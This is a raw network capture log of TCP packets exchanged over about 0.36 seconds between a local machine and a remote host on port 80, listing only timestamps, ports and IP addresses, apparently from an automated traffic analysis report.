Dec 15, 2024 11:59:59.875705957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.875749111 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.875825882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.875868082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.876740932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.876785040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.876846075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.876890898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.877772093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.877815008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.877891064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.877933025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.878855944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.878901958 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.878981113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.879024029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.879934072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.879987955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.880048990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.880340099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.880940914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.880983114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.881047010 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.881092072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.882013083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.882061958 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.882232904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.882275105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.883076906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.883117914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.883173943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.883218050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.884146929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.884191990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.884252071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.884289980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.885166883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.885207891 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.885397911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.885443926 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.886193991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.886241913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.886316061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.886358023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.887262106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.887309074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.887444019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.887486935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.888274908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:59.888320923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:59.935241938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.025414944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.025476933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.025563002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.025613070 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.055162907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.055226088 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.055286884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.055331945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.055609941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.055654049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.055702925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.055743933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.056659937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.056715965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.056776047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.056822062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.057734013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.057785988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.057826996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.057887077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.058773041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.058820009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.058914900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.058962107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.059813976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.059859991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.059937954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.059977055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.060915947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.060961008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.061034918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.061080933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.062051058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.062096119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.062211990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.062257051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.063019991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.063066006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.063124895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.063159943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.064079046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.064132929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.064187050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.064870119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.065082073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.065135956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.065136909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.065182924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.066144943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.066193104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.066245079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.066289902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.067198038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.067241907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.067331076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.067373037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.068253994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.068303108 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.068367004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.068411112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.069289923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.069341898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.069348097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.069387913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.070355892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.070400953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.070475101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.070518970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.071438074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.071485043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.071547985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.071588993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.072463036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.072509050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.072571039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.072613955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.073539972 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.073584080 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.073662043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.073705912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.074598074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.074645042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.074702024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.074744940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.075619936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.075665951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.075722933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.075766087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.076745033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.076812029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.076814890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.076858997 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.077773094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.077817917 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.077872992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.077914953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.078783989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.078833103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.078892946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.078936100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.079860926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.079910994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.079983950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.080029964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.080945015 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.080991983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.081068039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.081116915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.081957102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.082010031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.082163095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.082201004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.083048105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.083091021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.083164930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.083234072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.084136009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.084189892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.084280014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.084280014 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.085139036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.085182905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.085227013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.085274935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.086193085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.086240053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.086302042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.086345911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.087219000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.087265968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.087358952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.087403059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.088385105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.088433027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.088495970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.088542938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.089335918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.089385033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.089459896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.089503050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.090383053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.090429068 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.090508938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.090552092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.091427088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.091470003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.091531038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.091574907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.092490911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.092535019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.092593908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.092632055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.093547106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.093595028 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.093671083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.093713045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.094597101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.094640970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.094703913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.094748974 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.095664024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.095707893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.095715046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.095757008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.096703053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.096750975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.096824884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.096865892 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.097743988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.097785950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.097846031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.097886086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.098819971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.098861933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.098922968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.098963022 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.099865913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.099903107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.099980116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.100017071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.100960970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.101007938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.101080894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.101124048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.102009058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.102054119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.102127075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.102169037 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.103018999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.103060961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.103071928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.103112936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.104080915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.104126930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.104181051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.104222059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.105241060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.105289936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.105351925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.105397940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.106223106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.106266022 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.106386900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.106430054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.107245922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.107290030 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.107372046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.107414007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.108325005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.108371019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.108444929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.108756065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.109308004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.109352112 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.217456102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.217519999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.217571020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.217617989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.218045950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.218089104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.218111038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.218153000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.219033957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.219079018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.219155073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.219197989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.220088959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.220132113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.220225096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.220276117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.221191883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.221242905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.221293926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.221338034 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.222207069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.222250938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.222326040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.222368956 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.223292112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.223330975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.223434925 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.223479033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.224364042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.224400997 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.224474907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.224512100 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.226227045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.226270914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.226373911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.226418972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.226546049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.226592064 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.226644993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.226686001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.227519989 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.227562904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.228044987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.228091955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.228674889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.228719950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.228826046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.228869915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.229626894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.229664087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.229753017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.229799032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.230742931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.230781078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.231138945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.231179953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.231791019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.231832981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.231842995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.231878042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.232773066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.232816935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.232891083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.232933044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.233872890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.233917952 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.233978033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.234020948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.235153913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.235198021 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.235272884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.235317945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.235922098 CET	80	49876	185.215.113.16	192.168.2.4
Dec 15, 2024 12:00:00.235965967 CET	49876	80	192.168.2.4	185.215.113.16
Dec 15, 2024 12:00:00.236124039 CET	80	49876	185.215.113.16	192.168.2.4
